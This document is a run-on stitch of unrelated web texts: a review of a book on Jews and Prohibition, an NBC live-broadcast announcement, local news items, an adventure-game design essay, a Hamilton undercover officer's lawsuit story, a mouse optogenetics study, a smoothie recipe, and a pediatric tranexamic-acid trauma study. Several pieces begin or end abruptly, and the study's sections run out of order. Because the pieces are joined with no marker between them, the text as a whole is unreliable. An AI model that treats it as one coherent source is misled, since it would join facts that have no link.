By 1933, America’s troublesome experiment with Prohibition was over, and Jews re-entered the legalized liquor industry with even greater success. “The Canadian distiller Samuel Bronfman,” for example, “hit the ground running,” and so did Lewis Rosensteil of Schenley Distillers. But the damage that bootlegging had inflicted on the reputation of the Jewish community remained and needed to be repaired. “Bronfman and Rosensteil sought to further their respectability through philanthropy,” explains Davis, “and both men were effusively generous in their charity to Jewish organizations.”
Prohibition is shown to have both a dark side and a bright side in the pages of “Jews and Booze,” and it is to the author’s credit that she has produced a work of serious scholarship that is also witty, funny and smart.
“Commercialism Controlled by these Pagan Devils called Jews,” ran one racist tract, “Has wrought its curse to American Patriots.”
Aaron Sorkin, the creator and mastermind behind NBC’s “The West Wing,” will return to the network for the project. He set a high mark in his professional debut, penning “A Few Good Men,” which premiered on Broadway in 1989 at the Music Box Theatre to critical acclaim. Three years later he adapted the play as a feature film that went on to receive an Oscar nomination for best picture.
Craig Zadan and Neil Meron, who are currently producing NBC’s “Hairspray Live” and were behind recent NBC musicals including “The Sound of Music Live” and “The Wiz Live,” will exec produce alongside Sorkin. “A Few Good Men” will be produced by Universal Television in association with Sony Pictures Television and Warner Bros. Television.
A specific air date has yet to be announced, but NBC is targeting the project for early 2017. The Peacock first discussed bringing “A Few Good Men” to television in early 2014, shortly after its “The Sound of Music Live” was a blockbuster ratings success.
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“I am thrilled that Aaron Sorkin is coming back to NBC to adapt and produce a live broadcast of his electrifying play ‘A Few Good Men,’ which seems as timely as ever today,” said NBC Entertainment chairman Robert Greenblatt. “Aaron is one of the most acclaimed theater, television and film authors of our time, and I am pleased that the live event business that we pioneered with musicals is now expanding into other genres and attracting artists of his caliber. I look forward to his collaboration with our ‘A-team’ producers, Craig Zadan and Neil Meron, to bring another exciting piece of live drama to a broad audience.”
Sorkin is a six-time Emmy winner for “The West Wing,” which ran for seven seasons (1999-2006), and was a four-time winner for best drama. Sorkin’s most recent TV project was HBO’s “The Newsroom,” which ran for three seasons and earned Jeff Daniels an Emmy for lead actor in a drama. Sorkin was also Emmy nominated for his ABC comedy “Sports Night” and NBC’s “Studio 60 on the Sunset Strip.”
That’s not a typo – an investigation found that Charity Anne Johnson is 31, KLTV reported.
Johnson allegedly enrolled New Life Christian School in Longview, Texas, in October of 2013, using the name “Charity Stevens.”
A spokesperson for the school said Johnson was brought in to enroll with her guardian. She enrolled in the school, giving a date of birth that indicated she was 15. On Tuesday, staff at the school discovered her identification was fake.
Resident Tamica Lincoln says back in March, Charity told her she was 15 and needed a place to stay.
“I sympathized with her, and invited her into my home,” she told the station. “I took her in as a child, did her hair, got her clothes and shoes…”
Lincoln says Charity claimed she was abused by her biological father, and that her mother was dead. Lincoln acted as Charity’s guardian and even met with Charity’s 10th grade teachers at New Life Christian School.
What I mean is, the standard model for your adventure game is that you pick up items, keep them in an inventory, and use them to solve a sequence of puzzles. But that alone results in a mediocre adventure game at best. One in which all there is is a succession of keys to use on doors. They might not always look like keys and doors, but that's what they are. Items beget items, or at least access to new areas where other items can be found. You get one item, like a sausage, and you use it to distract a dog in order to get a can opener, which you use to open a can and get a light bulb, which you use to light a room so that you can see how to get to the room where you get a sponge, etc.
The very worst adventure games are basically just chains. The challenge is to find where the chain starts - to pick up an item without having to expend another item to do so. Then you use that item to get the next in the chain, and so on to the end. Maybe at some point the player character goes to a new area and loses all their items so the chain starts again. And that's fine if all you want to do is say that you made an adventure game, in this age where such things are few, but not if you have any ambition to make one that actually compares favourably to the classic titles in the genre.
Because the best puzzles in adventure games are the ones that aren't just keys in doors. The keys-in-doors chain is like the foundation upon which others things can be built, like story and character and actually clever puzzles.
The Secret of Monkey Island is rightly considered to be one of the greatest adventure games of all time. One of the most noteworthy puzzles is the 'beating the Sword Master' sequence. At its base, it starts with an inventory puzzle: you have to buy a sword, and then use the sword on the men. But the important part is that victory depends on voicing effective insults, and giving the correct comebacks to insults directed at you. That means wandering around the island, challenging randoms, building your repertoire of insults and collecting their responses. At the end of all that, you challenge the Sword Master, who uses a wholly different library of insults. But here's the clever part: each one can be countered with one of the existing insult responses.
Paul Manning, photographed while working undercover in Hamilton. Hamilton’s police services board is attempting to have Manning’s suit tossed out. ( Courtesy Paul Manning )
In an extraordinary lawsuit, Manning and his wife, Sabina, are seeking $6.75 million in damages, including $4.5 million from Hamilton police, alleging the service failed to protect him and his family, effectively ending his career. Sabina Manning claims the police had a “duty of care” to her husband that should have been “extended to her.” The couple is also seeking $2.25 million from the OPP. Manning, an experienced undercover officer trained in England, alleges his cover team during an infiltration of illegal gambling lacked proper training and there was no “structured exit strategy” for him and his wife. Those failures, he alleges, led to mental health issues and suicidal thoughts he shared with peers and superiors – yet no one asked him to turn in his gun.
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Manning is unable to work due to chronic post-traumatic stress and is unlikely to return to police work. He is also suspended due to pending police act charges stemming from a threat he allegedly made to a lawyer for the Hamilton Police Association, the police union.
On Aug. 9, 2010, Manning was alone on patrol in a marked cruiser, at a time, he says, when he often thought about harming himself and others. He drove into a hydro pole and was charged with careless driving.
Manning also alleges his identity was revealed by a high-ranking police colleague to a Hamilton crime family because Manning’s undercover work was close to exposing the officer’s criminal activity. The officer, Manning alleges, asked the crime family to “scare off” Manning. Manning’s lawsuit includes a long list of explosive allegations of police corruption in Hamilton, which Manning claims to have learned about from his police duties and undercover work, including his network of informants, two of whom have since died violently. It is highly unusual for police officers in Ontario to sue their own service and just as unusual for officers to make public allegations about the misbehaviour of colleagues.
“This is a way of punishing them,” Manning said in an interview, “because there is no other way I can punish them.” His wife, Sabina, supports the allegations.
Article Continued Below
“He was born to be a cop, he was born to help people,” she added. “And they destroyed it.” None of Manning’s allegations have been proven in court and many of his claims cannot be independently verified. He and his wife are representing themselves without a lawyer. The Star and the Spectator have elected to remove many of the names in the suit, because of the serious and personal nature of the unproven allegations. Lloyd Ferguson, chair of the Hamilton Police Services Board, said he could not comment on Manning’s statement of claim because the matter is before the court. “The board has given legal counsel direction to vigorously defend it,” said Ferguson, councillor for Ancaster. Neither Hamilton police nor the OPP have yet filed statements of defence. Reporters sought comment from the Ministry of the Attorney General in regards to the OPP allegations but did not receive an immediate reply. Hamilton’s police services board is attempting to have the suit tossed out, arguing his claims should be dealt with as union grievances. In its motion, Hamilton police call Manning’s allegations “scandalous, frivolous or vexatious or are otherwise an abuse of the process of the court.” The board also alleges Manning’s claims of “injury to reputation” are an attempt to “dress up a defamation claim.” Among Manning’s claims in his lawsuit: Hamilton police officers fraudulently claimed reward money from Crime Stoppers, and others were involved in “ripping off” drug dealers and marijuana grow operations.
Two officers “have been ‘on the take’ since the ’80s.” They would pay reward money to a relative and then split the proceeds.
A senior Hamilton officer sold information about the investigation into the unsolved 1998 murders of criminal lawyer Lynn Gilbank and her husband, Fred. It’s believed Gilbank may have been the subject of a gangland hit at her Ancaster home.
Several Hamilton police officers have ties to organized crime and the Hells Angels. Manning also names a Toronto officer he alleges was selling guns to Toronto gang members.
He and his wife were falsely detained and their rural home subject to an improper search by Hamilton police, who told him they had received a tip and came looking for a marijuana grow op. More than 20 officers showed up but no grow op was found. What police did find and took from his safe without issuing a receipt, Manning alleges, were personal notebooks detailing his undercover activities. Manning has applied to have the search warrant unsealed and his notebooks released. An off-duty Hamilton police officer frequented an illegal “booze can” operated by a member of the Hells Angels, where cocaine was openly “snorted off the bar.” Manning says his mental health has suffered and that he has engaged in some reckless and self-destructive acts since 2006, when his cover was compromised. Once, during a routine traffic stop, Manning admits pointing his handgun at the driver as he experienced a flashback and thought the driver was one of the men who had tried to kill him. On another occasion, he pointed a gun at the head of an officer from behind a partially closed front door. While Manning’s allegations are unproven, he has clearly been damaged by his police work, according to psychologists’ reports. And what is also true is that, in filing such a lawsuit, Manning has broken a police code of not speaking out. What follows is based on medical letters, documents, interviews, news reports and Manning’s unproven allegations in his lawsuit. Paul Manning, 42, grew up in Accrington, a suburb of Blackburn, in northwest England. He began his policing career in the U.K. in 1993 and, according to his lawsuit, he worked for numerous law enforcement agencies, including the Metropolitan Police Service in London. He says he worked in special squads, including a stint in Belfast combating IRA terrorism. In 2004, Manning interviewed for jobs in Hamilton and Toronto, and accepted an offer from Hamilton police. The couple moved to Canada in early April 2005. Manning went to Ontario Police College, where he won an award for highest grades, and then, after a half-day use-of-force training, stepped right into the role of undercover officer. Almost immediately, according to his lawsuit, he was buying drugs from the likes of brothers Thomas and Shane Riordan, who in 2006 would kill a man over a drug deal. Manning was quickly assigned to infiltrate the Hamilton Mob and investigate illegal gambling. Using the alias Paul Wright, Manning says he gained the trust of crime family members as well as members of the Hamilton Hells Angels chapter.
Former Hamilton Insp. Rick Wills stoops amid marijuana pulled from a series of apartments in this 2007 photo. Paul Manning alleges he was told Wills “sold him out” to a Hamilton crime family. Wills would not comment on the allegation. ( Ron Albertson )
In a November 2005 memo to Hamilton police human resources, the suit states, a supervisor called Manning “one of the best” undercover officers. In one incident, he was put to the test. In an interview, Manning said one of his targets made it known he had a “job” for him and asked him to come to a house. Manning feared that might mean the Mob was preparing to kill him, and warned his police team. When Manning entered, the door was bolted behind him. Two large men he had never seen before were there. He was told to head to the darkened basement, followed by three men, and that he’d find a light switch. “My knees are going, legs are going,” Manning said. “I think I’m going to get done in the back of the head.” He switched on the light to reveal a freshly renovated basement apartment. “We want you to live here. Come and live with us,” he recalls being told. When he left, he spotted his cover team in a nearby parking lot, ready to storm the house, fearing he was going to be killed. Instead, Manning told his police handler: “We’re in.” While Manning, for safety reasons, never did move in, he had passed the Mob’s test with flying colours. According to the suit, on March 24, 2006, while undercover, Manning was standing outside a bar on James St. N. when he was approached by four men, including the Riordan brothers, Thomas and Shane. “Hey cop,” Thomas said to Manning, the suit states, and then “without warning” the four men started hitting Manning. Manning, according to the suit, ran to his undercover apartment, called his police handler and was told to “wait there for extraction.” The handler called back to say the men were gone and that a marked cruiser was on scene. When Manning emerged, there was no police car, the suit states. The four men were there, armed with knives, one of them “purporting to have a gun in his pocket.” The suit states he fought them for about 10 minutes before getting back inside. One attempt to stab him cut through his T-shirt. Manning alleges a member of his cover team drove by during the second attack and did not stop to help. The suit alleges an OPP officer kept the ripped T-shirt as evidence of an attempted murder, but no charges were ever laid. Manning remained undercover. “I stayed because I wanted to. I knew the risks,” he said in an email. He said he was very cautious, but “I also know this was the undercover job of the decade.” According to the suit, he “immediately began to have night terrors.” Manning, in an email, said he felt he’d been sold out but was told “I was being a little paranoid.” He told no one of the night terrors, he said. At one point, he claims his cover team “lost” him and phoned his wife to see if he had returned home. In fall 2006, Manning, according to his claim, learned an OPP officer had lost a laptop and notebook containing details of the police operation looking into illegal gambling, including Manning’s involvement and his personal details. With that, the operation was over. Manning and his wife fled their home and received spotty “armed protection” from police. For his own protection, police provided Manning with his service pistol to carry at all times, his lawsuit states. It was also around this time that Manning, “on at least three separate occasions … put his service firearm in his mouth with intent” to kill himself, the suit states. Manning, the suit states, shared his thoughts of self-harm with both the service and the Hamilton Police Association. The service, according to the suit, ordered Manning to see a Toronto psychologist, but Manning alleges the sessions made his condition worse because it appeared the service had been briefing the psychologist. No one, the suit claims, “relieved him of his firearm.” Manning took to sleeping at the front door, with his service pistol in his hand and his feet planted against the bottom of the door, his suit claims. At the end of October 2006, Manning says in his suit, he learned the Riordan brothers were suspected of killing Michael Walsh. Walsh, 22, had been clubbed with a candlestick, stabbed and shot on Oct. 11, 2006. In 2009, the Riordan brothers admitted their involvement in what the judge called the “assassination” of a helpless man. Thomas Riordan received a life sentence for second-degree murder, while Shane received seven years for manslaughter. Manning alleges Hamilton police are “indirectly responsible” for Walsh’s death, since they never charged the Riordans with attempted murder in the attack on him six months earlier.
Paul Manning, seen working undercover, alleges in his suit that his police handler let him down when he was under attack.
A couple was greeted with quite the surprise when getting breakfast at a McDonald's in Hermitage, Tenn. television station Newschannel 5 reported Tuesday.
Greg and Stacye Terry, who are regulars at the McDonald's location were accidentally given a sack containing thousands of dollars cash.
"My husband opened the bag and discovered the money inside," Stacye Terry told Newschannel 5. "He said, you are not going to believe this. Sure enough, it was their bank deposit money."
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The money was somehow put near the franchise burger chain's drive-thru window, and placed in the Terry's hands rather than their breakfast food.
"The second that he said it was their deposit, my first thing was let's get in the truck and take it back," said Stacye Terry. "There is no other way to have it. I couldn't live with myself.
The McDonald's employee who had given the couple the cash, was at their residence in a jiffy before the two could physically return the money.
"We are grateful for this customer and the action they took upon realizing our error," Phil Gray, owner of the McDonald's location said in a statement. "We are looking into why this mistake happened, but what is most important to us is knowing that we are part of a community with the values that were evidenced by this person's actions."
The mishap is not going to deter the couple from their daily routine.
"We'll be back. We'll be back," Greg Terry told Newschannel 5. "But, next time I'm sure we'll leave with our normal breakfast order."
McDonald's customers will see a third drive-thru pickup window at all of the company's restaurant locations next year in efforts to speed up the time drivers spend in line.
The experiment turned the lab mice into super-eating machines, vigorously attacking food, bottle caps, and sticks as prey, said the findings in the journal Cell.
However, scientists cautioned that their goal was not to create an army of killer mice.
Rather, it was to better understand how the brain works and perhaps one day improve the treatment of degenerative brain diseases that affect motion and coordination.
"A major issue for neuroscientists is how the brain figures out how to respond appropriately to objects in the world," lead author Ivan de Araujo, associate professor of psychiatry at the Yale University School of Medicine, told AFP.
"Predatory behavior is the perfect model. It is a great window into how the brain solves the problem of how we respond to external stimuli by moving our bodies in an appropriate way."
Mice are omnivores, and will eat fruit, vegetables, insects and meat. They are natural hunters, even though they are more often thought of as prey for larger creatures like snakes, hawks and cats.
Researchers decided to see how mice's behavior would change if certain neurons were stimulated using a process called optogenetics, which is also being experimented with to restore muscle movement in people who have been paralyzed, and to treat those with epilepsy or Parkinson's disease.
Using an implantable brain device and a laser to activate certain neurons in the part of the brain known as the amygdala, researchers found two different pathways to changing a lab mouse's behavior -- one that triggered the animal's pursuit of prey, and another that signaled it to bite and kill.
"We could make them more efficient hunters in the sense that they would spend less time to be able to capture live prey and subdue it and kill it," said Araujo.
"Perhaps more strikingly, when we used a bug made of plastic that was moving around the cage, we could make the animals pursue an object that they would normally avoid," he added.
"We triggered the behavior toward objects that were not live prey."
The amygdala is an almond-sized region of the temporal lobe known for its role in emotions like fear and pleasure, as well as motivation and survival instincts.
- Not killing machines -
However, researchers also noted that when other mice were included in the experiments, they did not attack each other.
"I wouldn't like people to think that this could be used for generating aggression," Araujo said.
"In fact, I don't think this is actually possible. I think the behavior is very specific to looking for food. They showed no interest in attacking things that are as large as they, or other mice."
The brain stimulation only worked under the control of lab technicians, and if any of the mice were to escape, they would likely soon become another animal's meal, he said.
"We are uncovering brain areas that weren't known before to have a direct relationship to muscle activity," explained Araujo.
"Over the long term, I expect this would help us understand why motor disease and degeneration affect mastication (chewing) and swallowing, which are very traumatic effects of motor diseases in people."
Asked for comment on the study, psychiatrist Monica Michell of Lenox Hill Hospital in New York said what is new about the research is how it delineates the exact pathways for predatory behavior, and that its location is in the amygdala was "not all that surprising."
"Anybody who has a dog knows that no matter how well-fed they are, if they see a squirrel they will run," she said.
But the hits keep coming. There’s a sweatshirt on the market right now that not only paints Canada as hip, but also sexy. It’s, no word of a lie, a sweatshirt featuring a shirtless Justin Trudeau, riding a moose among a flock of Canadian geese. And, yeah, he’s riding in front of the Canadian Rockies, of course. Honestly, the only thing missing from this ‘Canadiana porn’ sweater is Justin himself pouring a can of maple syrup (or a bag of milk) all over his chest and abs. But that’d be messy and wasteful. Here’s the sweater:
It costs $60 for this beauty, but if a sweatshirt is too much, you can grab a Moosin’ Trudeau t-shirt ($26) or tank top ($22). Now, this isn’t the first time the Toronto-based brand Shelfies has made Trudeau into a wearable sex symbol. Last year, just after Trudeau won the post of Prime Minister, the company released ‘Dreamy Trudeau,’ a design that shows the handsome Liberal riding a horse amidst a lot of twinkling lights. It looks like this:
Given that this version is a little older, it is now on sale for $45. (It’s still $26 for the t-shirt and $22 for the tank.)
These are novelty sweaters, for sure, but would you wear them? Would you like to ride into the sunset with your very own shirtless Justin Trudeau, worn ever-so-close to the heart? Let us know:
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But like the determined spread of the Sith Empire, that whimsical land has been slowly and insidiously transformed into a corporately regulated Sarlac pit of marketing, kitsch, surveillance, bullying, shaming, trolling, mob-justice, echo-chambers, and many millions of unhappy netizens wasting time at work or avoiding their families in the evening, distracted for a moment at the airport, in a car, at screens around a restaurant table, or walking down the street. While the technology and access improved, the quality of the culture has peaked, now drifting away listlessly.
So how did we get here? It’s difficult to imagine, when shackled in the Cave –er, I mean: plugged into The Matrix– that other better possibilities exist. Even now it’s a struggle to clearly remember that ecstatic time of positive internet esprit de corps before money and narcissism utterly dominated the culture. Those ancient ‘90s to early oughts before endlessly aggressive advertising, encyclopedic terms of service, incessant tracking, the constant need to register everywhere, subversive clickbait, the legions of trolls, threats of doxxing, careers ended by a single tweet, and all those untiring spam bots which attempt to plague every digital inch of it.
Difficult to explain to anyone under twenty-five who did not directly witness the foundational times. Or anyone over twenty-five who did not participate. Or to anyone right now who uses only Facebook and Amazon. That lost age has become the Old West of the internet: a brief memory before once verdant lands were dominated and overrun by exploitative business interests and ignorant bumbling settlers. You can’t go back, and there’s no museum for an experience. That early culture was ineffable and fleeting. Not unlike, say: the concept of lifetime job security, which no longer even seems plausible.
bison skulls stacked; they didn’t keep the passenger pigeon skulls
2 Your Rating
Well, it's October and the weather is slowly turning a bit chillier, at least here in Virginia. As the weather gets colder it seems as if smoothies are more of an afterthought (at least according to my visitors every year), but that shouldn't be the case. Smoothies are great as meal replacements any time of the year.
Smoothies are not just a summer drink. And to prove this I am providing a really healthy smoothie smoothie, using oats, hearth healthy fruits, almonds and a touch of maple syrup.
Why oats? Oats have omega-3 fatty acids as well as good amounts of potassium and folate. This super food is full of fiber and can lower levels of LDL (bad) cholesterol and this helps you keep you arteries clear which is a good thing when you plan on living a long, healthy life.
How do almonds help? Almonds are high in monounsaturated fats, the same type of health-promoting fats as are found in olive oil, which have been associated with reduced risk of heart disease.
Is maple syrup worth the calories? Maple syrup contains a high level of zinc which is an antioxidant and has been proven to decrease the progress of atherosclerosis.
This is a great breakfast/protein smoothie containing 17.4g of protein and should keep you going easily through a late lunch. We kept it under 500 calories.
Nutrition
Calories: 499 Carbohydrates: 73.8g Protein: 17.4g Fat: 15.7g Fiber: 11.6g Sugars: 30.8g Iron: 19% Vitamin A: 2% Vitamin C: 257%
Ingredients
1 cup fresh or frozen strawberries (77 calories) 1/2 medium banana (53 calories) 3 ounces low-fat vanilla yogurt (61 calories) 1/4 cup raw almonds (137 calories) 1/2 cup rolled oats (155 calories) 1 teaspoon maple syrup (only 17 calories)
Directions
Prep
8 Mins Cook
2 Mins Ready In
RESULTS There were 766 injured patients 18 years or younger (mean [SD] age, 11 [5] years; 88% male; 73% penetrating injury; mean [SD], Injury Severity Score [ISS], 10 [9]; mean [SD] Glasgow Coma Scale [GCS] score, 12 [4]). Of these patients, 35% required transfusion in the first 24 hours, 10% received massive transfusion, and 76% required surgery. Overall mortality was 9%. Of the 766 patients, 66 (9%) received TXA. The only independent predictors of TXA use were severe abdominal or extremity injury (Abbreviated Injury Scale [AIS] score ≥ 3) and a base deficit of greater than 5 (all p < 0.05). Patients who received TXA had greater injury severity, hypotension, acidosis, and coagulopathy versus the patients in the no-TXA group. After correction for demographics, injury type and severity, vitals, and laboratory parameters, TXA use was independently associated with decreased mortality among all patients (odds ratio, 0.3; p = 0.03) and showed similar trends for subgroups of severely injured (ISS > 15) and transfused patients. There was no significant difference in thromboembolic complications or other cardiovascular events. Propensity analysis confirmed the TXA-associated survival advantage and suggested significant improvements in discharge neurologic status as well as decreased ventilator dependence.
METHODS This is a retrospective review of all pediatric trauma admissions to the North Atlantic Treaty Organization Role 3 hospital, Camp Bastion, Afghanistan, from 2008 to 2012. Univariate and logistic regression analyses of all patients and select subgroups were performed to identify factors associated with TXA use and mortality. Standard adult dosing of TXA was used in all patients.
BACKGROUND Early administration of tranexamic acid (TXA) has been associated with a reduction in mortality and blood product requirements in severely injured adults. It has also shown significantly reduced blood loss and transfusion requirements in major elective pediatric surgery, but no published data have examined the use of TXA in pediatric trauma.
Hemorrhage remains one of the leading causes of civilian trauma deaths and the primary cause of potentially preventable combat deaths despite recent advances in resuscitation science.1,2 Among severely injured patients, the early development of what has been termed the acute coagulopathy of trauma (ACOT) has been linked to significantly increased transfusion requirements and mortality.3–5 While the precise mechanism of ACOT is not completely understood, the development of hyperfibrinolysis leading to decreased clot formation and stability seems to play a significant role.6 In 2010, investigators in the CRASH-2 trial reported significantly decreased all-cause mortality and bleeding deaths among injured patients treated with tranexamic acid (TXA), a synthetic lysine-analog that inhibits plasminogen activation and the activity of plasmin, thereby decreasing fibrinolysis.7 Similar promising results were reported among combat casualties treated with TXA at the Camp Bastion NATO Role III combat hospital in Helmand, Afghanistan (MATTERs I and MATTERs II studies).8,9
While the accumulating clinical evidence suggests a potential survival advantage among severely injured adults treated with TXA, there have been no reports on the use or efficacy of TXA in the pediatric trauma population. A precedent for the use of TXA in major pediatric spine, cardiac, and craniofacial surgeries already exists, with several studies showing significant reductions in intraoperative blood loss and transfusion requirements as well as an acceptable safety profile.10–12 These studies have focused on elective surgical cases without mortality analysis. The purpose of the present study was to evaluate the use and efficacy of TXA in pediatric combat casualties in one of the busiest combat hospitals in recent military history.
PATIENTS AND METHODS
Following approval of the institutional review board of Madigan Army Medical Center, we conducted a retrospective review of the Joint Theater Trauma Registry. The Joint Theater Trauma Registry is a robust data collection of US, coalition and civilian trauma casualty data gathered from recent and ongoing military conflicts designed to facilitate advances in combat casualty care.13 In the present study, we reviewed all pediatric trauma patients 18 years or younger, admitted to the NATO Role 3 combat hospital at Camp Bastion, Afghanistan, from July 2008 to November 2012. Data analysis included demographics, mechanisms of injury and standard injury severity metrics, as well as presenting vital signs and available laboratory data. Transfusion and fluid resuscitation requirements, surgical procedures, diagnostic codes, and survival were reviewed for all patients. In addition, the administration of TXA and recombinant activated factor VIIa was evaluated. The primary outcome of interest was patient survival in relation to TXA use, with secondary identification of factors predictive of TXA use and any potential complications related to TXA.
The Camp Bastion hospital has significant experience with the use of TXA in combat casualty care and has been the setting for previous studies evaluating the use of TXA in adult combat casualties. At this hospital, patients with severe injuries, known or anticipated significant transfusion requirements, or evidence of hyperfibrinolysis on rotational thromboelastogram are prescribed TXA after the assessment of the surgeon or anesthesiologist. Based on accumulating clinical evidence of survival advantages associated with TXA use in the setting of massive hemorrhage, TXA has been included in formal treatment protocols for serious hemorrhage at Camp Bastion hospital. Standard dosing regimen includes 1-g TXA intravenously administered within 3 hours of injury and redosed based on the assessment of the medical team. Massive transfusion (MT) protocols are standardized to deliver a 1:1:1 ratio of packed red blood cell–fresh frozen plasma–platelet transfusion for severe hemorrhage, while limiting crystalloid infusions.14
Standard descriptive statistical analysis was performed using mean and SD for continuous data and percentages for categorical data. Comparison of continuous data between groups was completed using the Student’s t test and the χ2 test for categorical data. p < 0.05 was considered significant. Binomial logistic regression was used to identify variables associated with mortality in all patients and mortality in transfused patients. After controlling for potential confounding variables, stepwise logistic regression analysis was performed to identify factors independently associated with overall mortality and mortality among patients requiring transfusion as well as factors predictive of TXA use. Regression results are reported as the adjusted odds ratio (OR) with 95% confidence interval (CI). All statistical analyses were performed with SPSS version 21 (IBM Corp., Chicago, IL).
To study the potential association of TXA with transfusion requirements, two groups of patients that received significant transfusion volumes were identified: MT and large-volume transfusion (LVT) patients. MT was defined as transfusion of one or greater blood volume equivalent within 24 hours using a standard weight based blood volume calculation. LVT was defined as transfusion of 50% of blood volume equivalent or greater. Because of limitations of our database content, we were unable to directly compare blood loss because this was not a recorded variable.
Because of multiple significant differences between the patient population that received TXA and those that did not, we performed a propensity analysis to better understand factors that predicted administration of TXA as well as the clinical effect of TXA, in closely matched populations. Our propensity score calculation model included patient demographics, year of injury, injury mechanism and type, injury severity and Abbreviated Injury Scale (AIS) scores, initial vital signs and Glasgow Coma Scale (GCS) score, initial hematocrit and base deficit, as well as transfusion requirements and the need for emergency surgery. The results of the propensity score model were assessed for accuracy, reliability, and robustness of the model (by R 2 calculation). The model sought to match no-TXA to TXA cases in a 3:1 ratio, and comparative analysis was performed using STATAsoftware (StatCorp LP, College Station, TX) with the psmatch2 module for propensity score creation and case matching.
RESULTS
Between July 2008 and November 2012, 766 pediatric trauma patients were admitted to the Role 3 hospital at Camp Bastion. The population was predominately male (674, 88%), with a mean (SD) age of 11 (5) years, having sustained a penetrating mechanism of injury (73%). Overall mean (SD) Injury Severity Score (ISS) was 10 (9), while 25% of the patients sustained major trauma with an ISS greater than 15. Body regions most affected by severe injuries (AIS score ≥ 3) included the head and extremities. Presenting physiology and initial laboratory data are described in Table 1. The majority of patients (76%) required at least one surgical procedure. Blood product transfusion was required in 265 patients (35%) within the first 24 hours of admission, and 66 (9%) received TXA. No patient in this population received recombinant factor VIIa, and there were no diagnoses associated with potential complications related to TXA administration, such as thromboembolic events or seizures. The overall mortality was 9% (66) before discharge or transfer.
Patients that received TXA were more severely injured, with greater physiologic derangements as demonstrated by significantly higher ISS and lower presenting GCS score as well as with greater base deficit, fluid resuscitation, and transfusion requirements (all p < 0.05). The TXA group was more likely to have sustained a penetrating mechanism of injury and severe abdominal or extremity trauma (Table 1). Multivariate regression analysis of data that would be known to providers in the emergency department was performed to identify early predictors of TXA use. The presence of severe abdominal (OR, 3.45; 95% CI, 1.55–7.65) and extremity injuries (OR, 2.98; 95% CI, 1.57–5.69) and severe metabolic acidosis with base deficit greater than 5 (OR, 3.45; 95% CI, 1.85–6.45) were significant independent predictors associated with TXA use (all p < 0.05).
While the unadjusted mortality comparisons of patients who received TXA (15%) versus those who did not (9%) were not statistically significant (p = 0.06), after controlling for confounding factors including mechanism, injury severity, base deficit, hypotension, and GCS score, TXA administration was independently associated with reduced mortality (OR, 0.27; 95% CI, 0.85–0.89; p = 0.03). Additional regression analysis of TXA association with mortality in the subpopulations of patients who received transfusions and those severely injured (ISS > 15) demonstrated trends toward improved survival with TXA administration but did not reach statistical significance (Fig. 1) (transfused patients; p = 0.08; ISS > 15, p = 0.07).
The propensity analysis model was highly discriminatory between those patients that did or did not receive TXA (mean P score 0.05 for no-TXA and 0.40 for TXA group, p < 0.001) and very accurate in the prediction of TXA use (C statistic area under the curve, 0.92; p < 0.001). However, the overall R 2 of the model was only 0.47 (p < 0.01), indicating significant unexplained variance in the decision to administer TXA. The propensity-matched TXA and no-TXA groups had similar demographics, injury types and severity, and presenting laboratory values and vital signs. In addition, there was no difference in packed red blood cell–fresh frozen plasma transfusion ratios between the groups, which could confound the interpretation of TXA effect. Overall unadjusted mortality was lower in the TXA group (12% vs. 15%) but did not achieve statistical significance. However, when adjusted for the interaction with blood product ratios, there was a significantly reduced mortality with TXA among patients that received a 1:1 ratio versus those with a ratio higher than 1:1. This was seen in both the LVT cohort (0% TXA group vs. 15% no-TXA group, p = 0.04) and the MT cohort (0% vs. 20%, p = 0.09).
Additional outcome measures beyond mortality were evaluated in the propensity-matched groups. Those patients in the LVT group that received TXA demonstrated significantly improved neurologic status at the time of discharge or transfer. This was despite being equally matched for all variables including initial GCS score, ISS, head AIS score, need for neurosurgical interventions, and need for mechanical ventilation. Patients who received TXA were significantly more likely to have near-normal GCS score (14–15) and less severe brain injury (GCS score < 9) at discharge (Fig. 2). Furthermore, a significantly lower percentage of patients in the TXA group required mechanical ventilation at the time of discharge or transfer (TXA group, 6% vs. no-TXA group, 22%; p < 0.01).
DISCUSSION
Hemorrhage has long been recognized as the most frequent cause of preventable mortality and morbidity following traumatic injury in both pediatric and adult populations. Civilian studies examining both the causes and timing of deaths from trauma have been critical in the design and implementation of every aspect of modern trauma care, from primary injury prevention and protective equipment to the establishment of individual and regional trauma systems. These data have been used to enforce training and intervention paradigms that focus on the early identification of hemorrhage and the application of focused interventions to control ongoing bleeding and/or mitigate the deleterious effects. Similarly, analysis of the experiences from modern battlefield trauma has reinforced the primary importance of uncontrolled hemorrhage as a source of preventable mortality and morbidity. Early studies from the recent conflicts in Iraq and Afghanistan identified bleeding as the most frequent cause of preventable death in both the prehospital and the in-hospital settings.2,15–17 These data were instrumental in bringing about major changes in forward combat casualty care such as the routine use of tourniquets, the development and deployment of advanced hemostatic dressings, and the prioritization of hemorrhage control in the training of military medics and providers. As a result, the current conflicts in Iraq and Afghanistan have been associated with the lowest reported case-fatality rates in the history of modern warfare.18
In addition to mechanical control of hemorrhage, the past decade has witnessed an improved understanding of the complex changes in the coagulation system following major trauma. This process, now commonly referred to as the ACOT, has been characterized by depletion of key clotting factors, platelet consumption and dysfunction, altered clot kinetics, and increased fibrinolysis with resultant rapid clot destabilization and breakdown. In addition, ACOT seems to be further worsened by resuscitation strategies that use large volumes of crystalloid and red blood cell products that lack any inherent clotting factors or ability. Multiple studies have identified a distinct survival advantage with a shift in resuscitation practices to a more balanced resuscitation with early administration of plasma products, now commonly referred to as “damage control” or “hemostatic” resuscitation.19–22 In addition to the investigation of the optimal blood product administration strategies, there is an ongoing search for adjunctive treatments to improve early postinjury hemostasis. TXA, an antifibrinolytic agent that inhibits clot breakdown, was found to have a significant mortality benefit in a large, multi-center European trial (CRASH-2) when administered within 3 hours of the time of injury. Based on these data, TXA was adopted as part of the routine resuscitation of eligible severely injured patients in the Operation Enduring Freedom, first by the British Role 3 facility at Camp Bastion and later by all US forward medical treatment facilities. Subsequent retrospective analysis of the use of TXA among adult combat trauma patients demonstrated a significant survival benefit among all patients requiring blood transfusion, and a larger benefit among those requiring an MT.8,9
